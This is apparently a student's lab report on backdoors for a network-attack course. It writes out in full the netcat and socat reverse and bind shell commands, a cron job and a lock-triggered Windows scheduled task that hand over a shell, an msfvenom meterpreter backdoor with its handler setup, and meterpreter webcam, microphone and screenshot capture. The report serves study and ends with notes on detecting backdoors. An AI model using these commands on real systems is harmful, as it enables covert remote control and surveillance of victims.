20165101刘天野 2018-2019-2《网络对抗技术》Exp2 后门原理与实践

1. 实验内容

1.1 使用netcat获取主机操作Shell,cron启动

首先安装netcat(又名nc、ncat),Linux系统自带nc,无需安装。Windows下需自行下载。官网如下:

http://nc110.sourceforge.net/

http://netcat.sourceforge.net/

官网下载速度不佳,亦可在老师的码云上下载。

1.1.1 Windows获得Linux Shell

使用ipconfig命令,查看Windows的ip地址为172.30.4.204

使用ifconfig命令,查看Linux的ip地址为192.168.159.131

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe -l -p 8086,表示监听主机的8086号端口,此处致敬8086架构40周年。

打开Linux终端,输入nc 172.30.4.204 8086 -e /bin/sh命令,表示连接到ip地址为172.30.4.204的主机的8086端口上,并把/bin/sh程序送给目的主机执行。

此时,Windows已经拿到了Linux的shell,并可以随意执行命令。

1.1.2 Linux获得Win Shell

打开Linux终端,输入nc -l -p 8086命令。

定位到ncat的安装目录下,使用Windows的命令行窗口输入ncat.exe 192.168.159.131 8086 -e cmd.exe,表示连接到ip地址为192.168.159.131的主机的8086端口上,并把cmd.exe程序送给目的主机执行

此时,Linux已经拿到了Windows的shell,并可以随意执行命令。

1.1.3 使用Linux定时任务cron,让Windows定时获得Linux的shell

关于cron的学习可以参考这篇博客——Linux 定时任务crontab_014

我们执行crontab -e命令,编辑定时任务。按照提示选择2。

添加14 * * * * nc 172.30.4.204 8086 -e /bin/sh

ps:代表在每小时14分的时候执行nc 172.30.4.204 8086 -e /bin/sh命令。

执行crontab -l命令查看我们新添加的任务。

Windows下开启监听,18:14到,这是Windows已经收到了Linux的Shell,执行date命令可以查看当前时间。

1.2 使用socat获取主机操作Shell, 任务计划启动

同netcat,可以在老师的码云上获得安装包。

首先为Windows添加计划任务,在Windows管理工具中找到任务计划程序

点击新建任务按钮

新建触发器,将开始任务设置为工作站锁定时

新建操作,程序或脚本中选择socat.exe路径,在添加参数一栏中写tcp-listen:5101 exec:cmd.exe,pty,stderr 表示把cmd.exe绑定到端口5101,同时把cmd.exe的stderr重定向到stdout上。

在常规选项卡中,输入名称(学号),点击确定完成任务创建。

找到刚刚创建的20165101任务,右键点击运行,此时会弹出命令提示符表明成功运行。

在Kali中输入socat - tcp:172.30.4.204:5101命令,可以成功得到一个cmd shell。

1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

msfvenom命令介绍

参数说明(options):

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

关于msfvenom的使用实例可以看这篇博文

首先我们应该将攻击机和靶机放置在同一个网段下,否则将无法建立连接。我们在Kali中输入leafpad /etc/network/interfaces命令。

在文件末尾添加以下内容即可:

auto eth0
iface eth0 inet static
address 172.30.4.205
netmask 255.255.248.0
gateway 172.30.7.254

PS:IP地址,子网掩码,网关要和靶机相匹配。

输入/etc/init.d/networking restart重启网络即可

这里我们首先执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.205 LPORT=5101 -f exe > 20165101_backdoor.exe命令生成一个后门文件。

我们用ncat将后门文件传送到靶机

Windows端输入ncat.exe -l -p 8086 > 20165101_backdoor.exe命令

在Kali中输入nc 172.30.4.204 8086 < 20165101_backdoor.exe命令

如此可以完成程序的传送

在Kali中输入msfconsole命令

依次输入以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.30.4.205 //此处应为Linux的IP
set LPORT 5101 //5101为端口号
show options
exploit //开启监听

Windows靶机打开后门文件

现在Kali已经可以控制Windows了,输入shell命令即可获得Windows的Shell。

1.4使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取靶机的屏幕截图:srceenshot

使用靶机的摄像头拍照:webcam_snap

使用摄像头录像:webcam_stream

录音:record_mic

提权:getsystem,未成功。

生成文件如下

1.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

2. 基础问题回答

2.1 例举你能想到的一个后门进入到你系统中的可能方式?

1.利用浏览器漏洞,在访问挂马网站时,后门会自动下载并执行。

2.在使用外挂、破解工具时和软件进行捆绑。

2.2 例举你知道的后门如何启动起来(win及linux)的方式?

1.后门程序修改注册表,以达到开机自启动的目的。

2.与正常程序进行捆绑启动。

3.Windows可以修改任务计划程序。

4.Linux利用cron定时启动。

5.后门程序修改注册表,将文件关联程序修改为自己的程序,(如:双击.txt文件时,系统错误的调用后门程序)。

2.3 Meterpreter有哪些给你映像深刻的功能?

1.零件化的功能组件,后门程序可以自己定制。

2.可以打开靶机的摄像头、麦克风等设备。

3.可以获得靶机的Shell。

2.4 如何发现自己有系统有没有被安装后门?

1.监控主机的端口,有没有异常打开的端口。

2.安装杀毒软件、防火墙,监控自己的主机。

3. 实验总结与体会

本次实验通过实现一个简单的后门程序,让我感受到了后门程序极强的危害性。经过免杀处理,后门程序可以躲过大多数杀毒软件的查杀,如果一个人拥有一个公网IP,将后门程序安装到靶机,那么就可以进行远程控制靶机,而且这个过程可以很隐蔽,所以如何防范这类事情的发生也是值得思考的一件事情。我会利用自己的所学,防止这些事件在我自己和周围人身上发生。

posted @ 2019-03-24 20:40  00埜00  阅读(293)  评论(0编辑  收藏  举报